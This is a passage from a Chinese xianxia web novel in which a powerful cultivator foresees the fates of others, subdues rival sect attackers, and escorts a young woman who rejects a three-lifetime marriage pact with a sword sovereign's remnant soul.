【生平:前世乃为剑道至尊结缘之人,因天姿寻常,所活年岁不及剑道至尊。
剑道至尊不忍道侣就此离去。
二人寻得术士以结缘之法定下三世情缘,沈如烟亦因此得剑道至尊部分修为,跻身大能之列。
后剑道至尊与魔尊交战,二人大战之处,化为古剑冢。
剑道至尊因修为分去部分,并不敌,遭魔尊封禁,魂魄锁於小世界禁区之中,未能入轮回转世。
沈如烟第二世因结缘之人未入轮回,自身又身负结缘之法,故而始终未能与他人相恋相爱,孤独终老一生。
其第三世时,乃为悬剑门宗主独女。
因昔年封印消减,剑道至尊残魂以其残剑为引,召无尘之地各路人马入其中,欲寻得其昔年道侣转世之人。
然昔年魔尊後人知晓此桩隐秘之事,以魔尊留下的手段寻得沈如烟便是那第三世的道侣。
其率门人捉拿下沈如烟,将之带入那至尊密藏之中。
魔尊後人以沈如烟为胁迫,要剑道至尊残魂将至尊传承交出。
剑道至尊残魂为救沈如烟,只能无奈交出至尊传承。
魔尊後人得之,却并不罢休,仍旧执意要杀沈如烟。
危难之际,至尊以其残魂之力勾动沈如烟体内那部分至尊修为。
沈如烟以此诛杀传承洞府之内的不少修士,却还是令那魔尊後人逃脱。
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其前世记忆要尽数浮现脑海之中,令少女有些难以接受。
至尊残魂遭封禁千年,早已衰败不堪,此时再以全力引出沈如烟之修为,已然再无力存於世间。
三世情缘将尽。
沈如烟强行将至尊修为还於那至尊残魂,保住其魂魄。
后其经由至尊残魂指点,修行之路坦然,终成至尊。
成尊后,沈如烟为那至尊残魂寻得肉身与仙品丹药,为之再度凝练肉身,重现世间。
至尊重生,沈如烟言明自己此举只是为报其救命之恩,并无与其结为道侣之意。
至尊不解,二人本就为注定的三世情缘,为何这最後一世沈如烟并不愿意与其结为道侣。
沈如烟言明
自己便是自己,自己有自己的追求,绝非术士所定下的术式便可强行绑定。
至尊依然不解。
沈如烟并不愿多说什麽,就此离去,销声匿迹。
剑道至尊追寻其踪迹未果,漂泊五域四海间。
而沈如烟苦寻昔年那术士後代良久,为解那三世情缘,终未能得愿。
后其孤身一人至死,依旧不愿与那剑道至尊结缘。】
【近期遭遇:至尊密藏将出,随同门前往至尊密藏,将遭金刀门人袭击。】
武道天眼之下,沈如烟的生平尽数落
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㣉陆尘眼中。
其与这位小世界之中的剑道至尊亡魂有三世情缘的术式契约,本应是由那金刀门人带㣉其中,却因为陆尘的出手,武道天眼所观测到的未来已然发生了些许变化。
陆尘倒也是没有想到,眼前这个总是乐呵呵笑嘻嘻的少女心竟然是如此坚定,哪怕受那情缘束缚,孤身终老一人,也不愿意能那剑道至尊结为道侣。
他倒是也能明白少女心中所想,大抵是将自己与前世分的明明白白,并不愿意以前世的束缚来困住今世的自己。
至於其此番做法,陆尘不置可否,不能说其好,当然也不能说其坏。
对於那位剑道至尊而言,这般结局显然是十分凄惨,残魂遭魔尊封禁,苦等千年,最终却是等来这麽一个下场。
而对於沈如烟而言,其为那剑道至尊凝造魂魄,使其得以借新的肉身重生,便是不想欠其什麽。
待得这些东西做完后,少女便自觉不再亏欠那剑道至尊什麽,并不愿意与其结为道侣。
古往今来,情之一字最是难解。
这所谓的三世情缘,若那剑道至尊同㣉轮回,二者再相见回忆起第一世时,又何尝不是给各自带了枷锁呢?
人心总是瞬息万变,更别说是三生三世了。
以前世情缘来绑定今生所见之人,对二人而言其实都是不公平之举。
只是因那剑道至尊未㣉轮回之中,故而哪怕到最後,也并不知晓沈如烟心中所想而已。
“这样好些了吗?”
陆尘轻拍了拍少女肩膀,将灵气注㣉其体内。
一股暖流在周天经脉之中流转,少女那略显痛苦的脸色方才舒缓下来。
她抬头向陆尘挤出笑容。
“好多了。”
少女说道。
陆尘眸子微眯,他注意到少女的眸子里依然有着异色,显然仍旧是十分难受,但或许是为了让陆尘不那麽担忧,这才这般说道。
尽管少女一直在灵山之上长大,心思单纯,好似是温室中的花骨朵儿一般,从未遭受过风吹雨打。
但实则少女心性之坚韧,有些超乎寻常人,远非常人所能比拟。
“其实还是有点,不过夫子不用担心,我可以坚持住的。”
似乎意识到自己不该说谎,少女又赶忙这般说道。
尽管有汗水在额头冒出,但少女脸上仍旧有着笑意挤出。
她以为这是密藏深处的灵气压迫所致,却并不知晓这是因其与那剑道至尊的结缘术式所致。
“好,若你坚持不住了,切记要与我说。”
陆尘看向少女又道。
少女点了点头,心却又是一痛。
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第一百六十六章 饿虎扑食
至尊密藏深处,已然有各番人马云集,且皆是那无尘之地的顶尖门派,围绕在山谷之中。
人影之密集,一眼望去,竟是看不到尽头。
陆尘二人挤进那山谷之中,一时之间便是有不少目光投来,审视中又带着疑惑神色。
此间皆是无尘之地的顶级宗门,彼此之间各自相识,如今见陆尘分外眼生,自然是忍不住的多看几眼。
那金刀门的封王修士见到陆尘带着沈如烟而来,眸子中有异色浮现。
若是在外围的话,自己尚且奈何不了他,但若是在此地,各番人马云集之下,那可就不好说了。
他身影一动,出现在锦衣楼的为首之人身旁。
“楚天兄,合作一次如何。”
那金刀少年说道。
名为楚天的男子衣着极为华丽,甚至已然到了夸张的地步,有些招摇撞市之像。
他看向那金刀少年,笑着说道:“你们金刀谷的合作,那可不敢答应。”
金刀少年哈哈大笑又道:“锦衣楼位列三山二楼之列,乃为无尘之地一等一的大势力,又何须怕我这小小金刀门耍什麽诡计。”
楚天摇了摇头。
“金刀门毕竟是那位魔尊留下的传承,其中到底有多少底蕴,我们外界人自然不知,至於这三山二楼的排位,权当是个外门人是笑话便是了。”
楚天又道,显然并不觉得与眼前这金刀少年合作能占得什麽好处。
“你不妨听听看,我要合作什麽,再作打算也不迟?”
金刀少年锲而不舍的说道。
楚天眸子微眯,点了点头。
“看到那二人了吗?”
金刀少年的目光向人群之中的青衫男子以及一位粉衣少女看去。
“怎麽了?”
楚天皱眉问道。
“实不相瞒,那少女是此次至尊传承的关键所在,有了她,便有了这至尊传承。”
金刀少年说道。
他其实并不愿将这消息告於外人,但在场之人都是历经各般斗争的狠人,没有谁是好糊弄的傻子,若没有点真消息,自然难以与其达成合作。
“当真?”
楚天目光落在那粉衣少女身上,眯眼问道。
此时粉衣少女虽面色有些惨白,眸子里却仍旧是有欢喜之色浮现,好奇的看着山谷中的各路人马。
这番场景少女属实没有见过,只觉得是热闹非常,却不知其中风云涌动,届时不知有多少鲜血流出。
“楚兄若是不信,我可以借天道誓言起誓。”
金刀少年正色而语。
“什麽境界?”
楚天又问。
“可能在封王三重。”
金刀少年说道。
在其看来,陆尘是这场中最危险的人物,只有将之除去,方才可再去争夺那至尊密藏。
至於沈如烟的消息让楚天知晓,倒也不是那麽的重要。
毕竟知晓为什麽沈如烟是至尊传承关键所在的,可只有他自己。
“倒是有些难
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办。”
楚天略微皱了皱眉。
封王三重已然是隐约间触摸到真一境界的门槛,并非寻常人所能抗衡。
“长歌楼也叫上,那人无门无派,你我三大势力相攻之下,哪怕是封王境三重的强䭾也难以抵抗。”
金刀少年又道。
楚天思索片刻後点了点头,一同去寻那长歌楼的为首之人。
“实不相瞒,那人一入此地,我便有想杀了他的念头,这种人入了至尊密藏之处,绝对是个变数,倒没想到二位与我念头一致。”
长歌楼为首之人笑语,其名李安在,身着白衣,脸上笑容有股莫名的阴狠之气,乃为封王三重之境。
三人达成一致,便齐齐将目光看向陆尘,嘴角皆是有笑意勾起。
“可怜的外乡人,不知道无尘之地的生存法则是什麽。”
李安在啧啧的叹了两声。
陆尘抬起头来,越过人群,与那三人遥遥相望。
三人相视,身影皆动,一瞬间便向陆尘袭来,好似饿虎扑食。
在场的各路人马皆是一惊,属实没想到二楼一谷,这三方顶尖势力竟然聚集在一起,要针对那青衫男子。
“那人什麽来头,竟然让这三方势力联手针对……”
有人不解而问。
“无论什麽来头,被这三方势力联手盯上,恐怕难逃一死咯。”
有人叹息而语。
各般杂声之中,青衫男子不闪不避,面色依旧带笑。
第一百六十七章 魔尊再生
三位封王境修士以雷霆之势暴动,尽皆杀招显现,这般攻势之下,哪怕是真君也有些头疼。
但出乎众人的意料,那位青衫男子却并无丝毫的惧意,立於原地,以笑应之。
只见其稍一拂袖,便有一股浩瀚灵气四散而出,这股灵气扫过那袭来的三人,竟好似锁链缠绕在身一般,立即令这三人失去平衡,从半空之中直坠入地,倒在陆尘身前。
陆尘眯眼笑语:“怎麽不打个招呼就出手伤人。”
沈如烟站在陆尘身後,眸子里闪出亮光。
这还是她第一次见陆尘出手,这才真正的知晓所谓的真君到底有多麽恐怖,哪怕是三大封王境齐出,也不能奈之分毫。
“还望前辈恕罪,晚辈有眼无珠。”
“前辈恕罪!”
三人中,长歌楼与锦衣楼的二人皆是瞬间转变神色,站起身来赶忙向陆尘赔礼道歉。
刚才陆尘那一出手,几人便已然知晓,这可不是什麽封王境三重的修士,而是货真价实的真君。
要知晓天地间道君不出,至尊坐镇一方,除非是牵扯天地气运又或是绝世神通的大事,不然也不会离开自己的小世界。
这般下来,五域四海间,真君便是行走的顶尖大能,足以凌驾於众生之上。
这二人也是没有想到,竟然在此地便是能见之真君。
真君大多已然走出了自己的路,故而鲜少会去参与至尊密藏的争夺,照理而言,一处至尊密藏之中,封王境修士便已然是矗立於顶点了。
再者这般传承之地,向来是承受不住真君威压,倒也不知晓眼前男子是使了什麽手段,方才能安然立於这片小世界中。
二人姿态立即转变,那金刀谷少年模样的修士却是呆愣在原地,有些不敢相信当下的情形。
陆尘的目光略过那二人,落在那金刀少年的身上。
“又见面了。”
他眯眼笑了笑说道。
金刀少年不寒而栗。
“随我入洞府之中吧。”
陆尘看向他说道。
金刀少年不解,目光疑惑的看向陆尘。
陆尘眸子之中有水雾浮现,武道天眼之下,其生平尽数显现。
【姓名:顾无错】
【年龄:一百一十七】
【境界:封王境二重】
【命格:紫色】
【生平:其生於凡俗之家,年方十六之时,方才意外得修行之法,此法乃为金刀魔尊所传,若欲习之,非得断情绝念,心无所牵方可,其修行此法,手刃亲族,样貌亦永固在一十六岁的少年模样。
后其为寻魔尊修行法的下篇,入金刀门。
金刀门乃为金刀魔尊昔年所创立,然时过境迁,金刀门中亦无此法。
顾无错苦心寻找,最终於禁地之中得之,且知晓昔年金刀魔尊与一位剑道至尊的恩怨。
其知晓魔道身份终究不能久持,故欲取得剑道至尊传承后,脱离金刀门入正道仙门之中。
其挟持沈如烟入剑道至尊传承之地,逼得剑道至尊残魂交出至尊传承。
顾无错以此魔尊心法为底,外修剑道至尊之法,离去金刀门后,多行行侠仗义之举,外界仙门皆以为其改邪归正,回头是岸,大加称赞。
后其入无尘之地三山中的煌剑山修行,一路高歌猛进,直至成尊之时。
其渡劫成尊之时,遭一直潜藏於其体内金刀魔尊所夺舍。
虽成尊,却是金刀魔尊千年後再生。】
【近期遭遇:欲挟持沈如烟入至尊洞府,夺剑道至尊传承。】
武道天眼之下,顾无错的生平尽入陆尘眼底。
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年少得魔尊法门,屠杀亲族以㣉修行路,其修道之心,在某方面而言,亦是十分坚定。
后其知晓魔门不能久留,故而寻剑道至尊传承,金盆洗手㣉仙门之中,一路高歌猛进,终成至尊。
诚然,顾无错是个极为聪明,求道之心又极为坚定之人。
其一路所行,堪称无错,却又步步错。
从其得那魔尊修行法的那一刻,恐怕便已然是那位金刀魔尊之棋子了。
机关算尽太聪明,却误了卿卿性命。
“如果你想活命,便随我来。”
陆尘看着顾无错轻笑道。
顾无错眼神犹豫片刻,最终点了点头。
眼前人稍一拂袖便能将自己三人尽数捆缚,自己与之相敌,不会有丝毫的胜算,既然如此,只能是听其所言。
“好。”
顾无错点了点头,心中却是十分不安,这种命运掌控在他人手中的感觉,令其万分不适。
其年幼之时,乃为妾室所生之子,虽说是妾室,实则不过是怀孕的丫鬟给了个名号而已,身有家主血脉,却是有一种寄人篱下之感,一言一行都要看主母脸色,就连下人也时常不给好脸色看。
后其母死後,更是在府中备受欺凌。
少年对其亲族,自然而然的未有什麽情感,得之魔尊修行法后,
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知晓要断情绝念,绝亲绝友,因此屠杀亲
族时,少年并未有丝毫的愧疚之感,甚至於有畅快之意。
自那时起,顾无错方觉天高海阔,自己好似第一次活在这个世上,没有枷锁,不用看人之脸色。
他下定决心,从此以後不要受任何束缚,一定要自由自在的活在这个世上,无论是天地间的修士,还是天地本身,无一可以将之拘束。
其一路所行,也不过是为逍遥二字。
然魔道虽看似比之仙门自在,但实则要比仙门之人处处受限。
反倒是仙门之人,虽看似高风亮节,可却可以假借这高风亮节之像,在暗中行自己所欲之事。
想通这一点后,顾无错便打定主意要争夺这一剑道至尊的传承,而且凭其魔尊心法的底蕴,他亦是有信心在三山二楼这般顶尖势力的争夺中脱颖而出。
顾无错算计了每一步,包括用各般消息引得那悬剑门的宗主放出沈如烟历练,以及与悬剑门内鬼勾连,以此得知悬剑门众人方位。
他唯一没有算到的是陆尘的存在。
陆尘的突然出现,将这一切的布局都打乱了。
久违的,顾无错又感觉到一种无力之感。
在一位真君面前,一切的算计都变得毫无意义。
他恍惚间的又想起很多年前。
那是一个大雨滂沱的雨夜。
母亲病倒在床,奄奄一息。
不过十岁的孩童冒着大雨站在府中的药房之外,不断捶打着药房大门,想要从其中取得治病良药。
可没有人理会那个不大的孩子,就像没有人在意一个名为妾室,实为丫鬟之人的生死。
大雨後来停了,那孩子终究没有取得药。
等其回去后,母亲已然咽气,在那草席之上,结束了这仓惶而又悲哀的一生。
等到後来那位家主时隔二三年後归家,得知那位妾室身死,似乎是心中有愧,对少年多有照料。
然其离去后,少年依旧为府中人所欺凌。
其於一十六岁时得魔尊之法,一直等到那位家主归家后,少年方才动手屠戮全族。
其父临死前似乎很是不解,少年却冷声而语:“比起他们,更该死的是你。”
听闻少年所言,其父死不瞑目。
多年过去,又一次,顾无错觉得天地虽大,却是寸步难行。
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第一百六十八章 天道不公
“至於你二人……”
陆尘眯眼看向那二楼之人,略微思索片刻,而後手凭空一抹,便又有两道符纸出现在其手中。
符纸化作光点一闪而过,没入二人体内。
“离开至尊洞府後,在外稍等我片刻,不然我不敢保证你们活着离开。”
陆尘笑了笑说道。
虽说眼前人一直是微笑而语,看起来和颜悦色,但不知为何,在二人看来,却始终觉得眼前人深不可测,好似寒潭一般。
要知晓楚天二人身为二楼年轻一辈的佼佼者,自然也与真君打过交道,寻常真君绝不可能像眼前人这般,哪怕没有外泄半分灵气,却依旧令人如坠深渊,浑身冰寒。
“前辈之言不敢不从。”
楚天恭敬而语。
在修行界中,重要的东西有很多,但最重要的,还是这条命。
这条命若是没了,那可是什麽都没了。
以陆尘的实力,可以轻易将二人抹杀,所以对於陆尘之语,二人自然没有任何的反对。
魔门之人虽看似行事乖张,毫不遵守法则,但实则心思之细腻圆滑,比之仙门却要深的多。
不然以魔门各般无规无矩的行事,早就是会惹得天下群诛之。
陆尘点了点头,他所种下的符籙其实并没有什麽特殊之处,是一种极为寻常的符籙,但其境界实力摆在这里,哪怕随便种下一张符籙,二人也显然会认为这是什麽道门珍品,一旦种下生死便被他人所掌控。
这既是此番境界所带来的威慑之力。
“随我来。”
陆尘看向沈如烟以及顾无错二人说道。
二人点头,一人面色忧愁,眉头紧锁,一人却是眉间喜色凝聚,眸子闪着亮光。
总之是大相径庭,有着十分差异。
“这洞府要如何开启?”
陆尘走到那至尊洞府前,看向顾无错问道。
顾无错一脸茫然。
“不用与我装模作样。”
陆尘又笑了笑说道。
这般笑容在沈如烟看来如以往一般和煦,好似是春风拂面,但在顾无错眼中,就好似遭受深渊凝视一般,万分不适。
“晚辈知错了。”
顾无错小声而语,心中好似擂鼓般作响。
他越发觉得陆尘可怕,不但是实力境界高的可怕,更可怕的是他好像知晓那些藏在灰雾之中隐秘,以至於自己没有半点可以遮掩之处。
这种人很可怕。
顾无错心中一阵后怕,心觉自己刚才不应该那般所言才行。
“以这位小姐掌心血,便可将之开启。”
顾无错不再隐秘,对陆尘坦诚而言。
强者的耐心是有限的,他先前已然试探过陆尘一次,当下已经不敢再试探第二次。
陆尘点了点头。
顾无错知晓昔年那位魔道至尊与剑道至尊的恩怨,在武道天眼所观测到的命运之中,其夺得至尊传承,自然对这开启至尊洞府之法也是早有准备。
“如烟你试试。”
陆尘看向少女说道。
对於这有些莫名其妙的法子,少女并未显露什麽抗拒之色,反倒是眼中亮光更甚,觉得自己果然没有走错这一趟。
这种开启古老洞府,最终夺得隐秘传承的剧情,少女没少在师兄师姐们偷偷带回山门的戏折中见过,如今轮到自己行此事,自然是兴奋异常。
只是不知为何,少女心中依旧是隐隐作痛,且越是靠近这洞府,这般痛处便越是明显。
但其心中激动之情难以抑制,这才稍稍分散了那心中疼痛之感。
少女依顾无错所言,左手手指在右手掌心划过,掌心处
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便有鲜血划出。
其将那带着血迹的手掌印在古老大门之上,便一瞬间有轰然之声炸响,好似有雷霆自九天而落。
恍惚的,所有人都听到了一声叹息,好似时隔千年,再见故人。
“烟儿,你终於来了。”
那一声叹息如此而语。
只是至尊洞府已开,这山谷中自然没有人有心听这莫名其妙的话语,尽皆朝那洞府而去。
似乎是因为陆尘三人仍站在把洞府门口,故而众人心中虽是焦急万分,却并不敢往前再行一步。
所有人的目光都落在陆尘身上,害怕陆尘一声禁令,令在场之人不得入其中夺宝。
好在陆尘似乎并无此意,带着那少年少女入洞府之中,身影一瞬消失不见。
众人如释重负,如鱼入江河一般的疯狂涌入那洞府之中。
至尊秘藏千年难得一见,如今近在咫尺,自然没有人望而却步。
一时之间,各般气息浩荡宣泄而出,先前仍在山谷之中笑语的各方势力皆是撕破脸皮,挥刀向彼此而语。
鲜血肆溢流出,汇聚成一条小河,在山谷之中流淌。
外界纷纷扰扰,杀戮不断,里间的陆尘三人却是闲庭信步,直直向洞府深处而行。
“不是说至尊传承之地凶险万分,只有天姿纵横之辈才能从其中脱颖而出,最终历经艰险,夺得至尊传承吗?”
洞府之行与少女想象中的极为不同,她歪着头,向陆尘不解而问。
“谁告诉你的。”
陆尘哭笑不得。
“戏本上都是这麽写的。”
少女眼神清澈而语。
顾无错眼底之中闪过厌恶之色。
他有些想不明白,为什麽自己一生如履薄冰,却有人这般天真无邪。
天道不公,大抵如此。
第一百六十九章 物是人非
至尊洞府之中广袤无比,再加之岔路无数,哪怕以封王境强䭾的神识感知,亦是有些晕头转向的。
好在少女十分兴奋的指点着方向,并且信誓旦旦的表示绝对没有问题。
至於为什麽没有问题,哪怕问了少女,她也并不能答得上来。
好在见陆尘并未对自己有什麽意见,少女便依旧是兴冲冲的带着路。
长路漫漫,不知前行多久后,昏暗的洞府中才再有了光。
只见得穿过一条极为狭窄的通道,眼前便是瞬间豁然开朗。
放眼望去,竟有一片山水环绕,好似是被人硬生生的搬来此处一般。
山下有座庭院,庭院大门是由极为名贵的神木所制,其上雕刻着花卉图案,分外精致。
似乎是因岁月流逝而致,门上的这些雕刻已然略显斑驳,但却并不损其韵味,反而更添古朴。
那扇大门的左㱏各有一尊石狮,默然蹲守着在门前,好似最为忠诚的守卫。
沈如烟在看到眼前庭院的第一时间便停下了步子,眸子里的兴奋神色褪去,转而有些茫然。
“我好像到过这里……”
她眼神有些涣散的说道。
“先进去看看吧。”
陆尘微笑而语。
沈如烟点了点头。
顾无错心中依旧无比阴郁,本该是他带着沈如烟来此,本该是他取来这至尊传承,但因陆尘的出现,这一切都已经变了。
要说对陆尘没有憎恨之意,那自然是不可能的。
他不是不恨,而是不敢恨。
陆尘带着二人推门而入,门未上锁,也并未有什麽禁制。
大门刚一推开,便有一十二柄小剑齐齐飞来,好似剑阵一般,锋芒毕露,令人不免为之胆寒。
少女从陆尘身後探出头来,那一十二柄飞剑这才退去,落入浮在半空之中的小剑匣中。
小剑匣在半空自顾自的摇摇晃晃,而後化作一道光芒向院子角落的苍木而去,众人目光追随着那小剑匣看去,这才发觉苍木下站着一位男子,背影消瘦。
男子回过头来,目光越过陆尘与顾无错二人,落在沈如烟身上。
这一眼,便好似千年再见。
沈如烟茫然的望着那男子,她好像在哪里见过他,可无论如何的,少女都想不起来。
这令她有些头疼。
“如烟。”
男子看着少女轻唤一声,声音轻柔,却没想到这一声却令少女越发的头疼,面色已然是十分惨白。
“夫子,我头好疼……”
少女并未理会那男子,而是看向陆尘,眸子有着痛苦神色。
陆尘轻拍了拍少女肩膀,有一股灵气灌入其体内,方才令其疼痛之感减弱不少。
那树下男子看着陆尘,神色复杂。
“实不相瞒,这位姑娘乃是与本尊结缘之人,我二人曾定下三世情缘,此世已然是最後一世了。”
“我不想再错过。”
男子看向陆尘说道,他能看出陆尘是三人中的主事之人,因而向其解释一番。
陆尘点了点头,沈如烟身上所负情缘若是放之不理,则或如第二世一般,哪怕已有心上之人,却也因定下情缘的缘故而遗憾错过,孤独终生。
再䭾哪怕前世记忆涌来,沈如烟依旧是自己,并不会像寇筱筱那般说不清道不明。
沈如烟抬头,有些茫然的看向陆尘。
“有些不好解释,但待会你便会知晓了,无论如何,对你而言,倒算不得是什麽坏事。”
陆尘说道。
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对沈如烟而言,若是前世记忆涌现,那部分至尊修为自然也会随之而起,来日的修行之路便是会平坦的多。
见陆尘诚恳而语,少女也不再有什麽犹豫,她相信陆尘,并不是因为其境界,而是这一路同行相处下来,她觉得陆尘确实是个心诚之人。
这样的人并不多见,至少在悬剑门中,少之又少。
少女向那树下男子走去,那道至尊残魂竟是微微的有些颤抖。
他抬起手,似乎想抚摸少女脸庞。
少女不自觉的便後退一步,有些警惕的看着眼前男子。
男子苦笑一声,自顾自摇了摇头。
他眉眼看向少女,神色依旧极为温柔,好似春风缠绕千年而不散。
男子双指并拢,指尖有光芒涌现,他虚空在少女眉心一点,便有一道荧光飞入
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少女体内。
沈如烟眸子紧闭,脑海之中记忆翻涌不息。
良久后,她才睁开眸子,神情复杂的看着眼前男子。
“如烟?”
男子眸子里闪着亮光,试探性的又唤了一声,却没想到少女好似惊慌失措的小鹿,接连後退,直到再躲到陆尘身後。
“你不要过来。”
少女有些惶恐的看着男子说道。
男子一瞬间在原地失神,嘴巴张了张,想说些什麽,但最终没有开口。
他脸上挂着苦笑,哪怕高居至尊之位,却依旧无可奈何,束手无策。
“诸位远来是客,要不在院中小住几日?”
男子又看向陆尘说道。
他的身影比之初见时多了分虚幻之感,好似风一吹,便要就此消散一般。
其与真龙的情况类似,都只是一道残魂残存於世而已。
真龙能自古时一直残存至今,而男子与之相差甚远,历经千年,神魂已然越发稀薄,如今再唤起沈如烟之前世记忆,已经接近魂飞魄散之际,不过强撑着在人世多弥留几日而已。
“如何?”
陆尘看向沈如烟问道。
情之一字难解,陆尘自然不可能去教少女要如何行事。
“好。”
少女应了一声,此时眼神复杂,已经全然没有先前那单纯的欣喜之色。
“你没意见吧。”
陆尘又看向顾无错问道。
“没有。”
顾无错很乾脆的摇了摇头。
他哪怕有意见当然也不敢说出口。
“那便有劳前辈招待了。”
陆尘向那男子说道。
男子眸子里流露出些许喜色,无论如何,能在这弥留之际对见着少女几眼,总归还是好的。
此番情况,他从未想到过。
原以为与昔年道侣转世之人见面后,便能再续前缘,重温旧梦,却是没想到会是如今这副情形。
故人犹在,却又好似不相知,不相识。
安排陆尘三人在小院入住后,男子却依然站在那树下,他看着那眼前老树,目光幽幽。
昔年二人共手植,今虽已亭亭如盖,却早已物是人非。
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第一百七十章 我非我,我即我
咚咚咚。
门外有人轻叩几声。
“夫子,我有事求问。”
清脆好似银铃般的声音自门外传来。
陆尘推开房门,少女站在门外,眉头紧锁,好似有小山压在心头。
“随我去院子里说吧。”
“好的。”
二人相伴而行,自厢房重返庭院之中。
在二人踏㣉庭院的那一瞬,男子的身影一瞬间便是消失,落在屋檐之上。
他静静的看着那庭院中的少女,月色洒落在其脸颊之上,与千年前并无两样。
“夫子,转世续缘到底是什麽术法,当真像话本中所说的那般,一旦结下,便要死死绑定三生三世,不得挣脱吗?”
少女抬头看向陆尘,神色茫然。
她已然记起了所有。
第一世与那位剑道至尊相知相伴,缔结转世续缘之法。
第二世因此法孤独终老,独自一人至死。
“此法我倒不是知晓不多,只知道有一纪元之中十分盛行,甚至有人族与妖族缔结此法,但景帝登临帝位后,却是禁绝此法,以至於几近失传。”
陆尘顿了顿说道。
景帝乃为古之帝者,其所在纪元转世续缘之法盛行,当时修士以此为荣,好似不缔结此番续缘之法,便不能显出道侣之间的情深似海。
只是景帝登临帝位后,却是以帝之名义号令五域四海封禁此法,这般下来,此法才逐渐销声匿迹,几近失传。
这般漫长岁月过去,那剑道至尊还能寻到精通此法的术士行此术,想来也是费了不小的心思。
“所以非要与之再结为道侣吗?若我不想呢?”
少女又问。
屋檐之上,那男子心忽地一疼,好似被人用剑狠狠一刺一般。
陆尘沉默片刻。
“情之一字说不清道不明,更不用说你年纪尚浅,虽有前世记忆,此世也不过十八,无论如何,但求无愧於心便可。”
他看向少女,轻声而语。
少女思索良久,最终点了点头,似乎是想通了什麽。
“那位前辈,可以出来一见吗?”
她忽地这般喊道。
下一刻,男子身影便是出现在少女身前,倒是给少女吓了一跳。
少女後退两步,然後看向男子,目光坚定而语:“这位前辈,我叫沈如烟,并非柳如烟,虽说都名如烟,但多少还是有些不同的。”
男子微微一怔,倒是没有想到少女喊他出来第一句说的是这种话。
他的目光落在少女脸上,哪怕只是转世之人,依旧令男子感觉万分熟悉,好似昔年道侣再站在自己面前一般。
“好的。”
男子苦笑了声,神色依旧无比温柔。
昔年男子一十二把飞剑震古烁今,剑气之凌厉,哪怕在无尘之地以外的广袤中土地界依旧享有盛名。
而与男子亲近之人却是知晓,其一身剑气唯有在与其道侣相处之时方才会收敛而起,化作似水柔情。
“前辈能明白我的意思吗?我的意思是说,虽说我们有什麽三世情缘,但我是我,我是沈如烟,柳如烟喜欢前辈,但我不喜欢,哪怕有这所谓的三世情缘,我也不想莫名其妙的就和一个先前从未见过面的人结为道侣。”
沈如烟神色诚挚的向男子解释道。
男子沉默良久,最终点了点头。
“这种转世续缘的说法,我在那些戏折中也见过不少了,以往总觉得他们历经三生三世仍旧能走在一起,是天底下再美好不过的事了。”
“但落在我自己身上,我才发觉一个问题,那便是转世之後的人到底是他自己,还是缔结下契约的那个人呢?”
“而後几世彼此相爱,那到底爱的是彼此,还是前世记忆呢?”
“我想与我结为道侣之人喜欢的是我沈如烟,而并非说是把我当成别人的替身又或䭾说是因为什麽三世情缘而非要与我结为道侣。”
少女一口气说了一大串,似乎生平那男子并不理解自己心中所想。
她的眸子澄澈,好似纤尘不染。
少女虽说久居灵山之上,鲜少与人打什麽交道,不知晓什麽人情世故,但其心思之透彻,却已然要超过诸多人。
“我知道你说的意思。”
男子轻声而语。
话
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虽是这麽说,但男子眸子里却是闪过一丝落寞神色。
千年等待,今日竟成虚妄。
他忽地觉得有些可笑。
其实男子大可以刺激少女去回想起前世记忆,又或䭾说是引导其觉得柳如烟便是沈如烟,沈如烟便是柳如烟。
但这麽做似乎并没有什麽必要。
“还请前辈见谅,我真的没有什麽想和您结为道侣的念头,哪怕那些记忆不断在我的脑海之中回荡,但对於我而言,不过是一场印象更深一些的戏摺子罢了,我还是我。”
少女顿了顿又道。
男子看向少女,恍惚间又想起千年前。
那时与之道侣争吵,男子始终争吵不过,这倒并非是其道侣蛮不讲理,相反,她便如如
今的少女这般,总是能说出一些自己都想不到的道理来驳斥自己,令自己哑口无言。
千年过去,这一点倒还是极为相近。
“无妨,毕竟千年过去,於我而言,也不过是个执念而已,确实不应该以此便来定下你此生情缘。”
男子轻声而语,并没有为难少女。
少女松了口气,心想着这位前辈但是和那些记忆之中的一般,还挺好说话的。
“我体内的至尊修为前辈取走吧,我不想欠前辈什麽东西。”
沈如烟又道。
男子微微皱眉,似乎并不愿意。
“前辈还是取走的好,你之神魂孱弱,已然到了要消散的地步。”
陆尘看向那位至尊残魂说道。
男子摇了摇头。
“我心愿已了,事已至此,此番人世,也并无什麽留恋之处了。”
他顿了顿说道。
“此番修为乃是缔结情缘之时,以术式所剥离出来的一部分,算是如烟留下来的,你是如烟转世之人,传承此力,并非是欠我什麽。”
男子看向少女又道。
少女摇头,十分坚决。
“无论如何,我不能看着前辈在我面前神魂消散,既然是柳如烟姐姐的,她肯定也愿意拿出这部分修为来救前辈的。”
少女正色而语。
男子默然良久。
第一百七十一章 为情所困
直到明月越发高悬之时,男子才点了点头,眸子有些黯淡。
沈如烟松了口气。
她委实不想莫名其妙的便和一个自己先前从未见过的男子绑定在一起。
哪怕这份至尊修为对其极有裨益,沈如烟也只觉得好似背负小山一般,难以喘息。
“我为前辈护法,前辈但行无妨。”
陆尘向那男子说道。
“多谢。”
男子向陆尘微微点头,而後以手作笔,凭空勾画着繁杂符文。
那些符文散发着亮光将二人笼罩,好似有秘阵流转。
良久后,光芒消散。
男子身影已然不再单薄好似下一刻便要消散。
至尊神魂尚在,便称得上不死不灭,只需寻肉身再复融合便可。
当然这世上能承受的住至尊魂魄的肉身也并不多,算的上是有些难寻。
“神魂虽凝聚,肉身却是难寻。”
陆尘看向那男子说道。
男子点了点头,也未多说些什麽。
事已至此,他对此间人世倒并没有多少留念了。
“前辈要是不嫌弃的话,我来帮你寻个合适的肉身吧。”
沈如烟眨了眨眼睛说道。
“虽说我现在只是个小修士,但将来一定能行的。”
“前辈为了柳如烟姐姐等了这麽多年,因为我而就此作罢,无论如何,我还是有些愧疚的。”
少女看向男子,十分诚恳而语。
男子却是兀自摇了摇头。
“姑娘的心意我心领了,但既然已非前人,就不劳烦姑娘什麽了。”
他幽然而语,眸子却是瞥向那老树。
沈如烟微微一怔,又接着说道:“我真是心中有此想,而且那些记忆涌出来后,我对修行的感悟好像深了许多,总之还是受了前辈二人的恩惠,前辈给我个报答的机会吧。”
她转到男子身前,遮住他看向那老树的目光。
男子依然摇头,念头十分坚定。
“真的不用了,我也没想到转世续缘会是这般境况。”
“既然你已经不是昔年那个如烟,你我还是不要有什麽牵连好了。”
男子看向沈如烟,眸子神色复杂。
明明五官气质都与昔年极为相像,但人却已不是昔年故人。
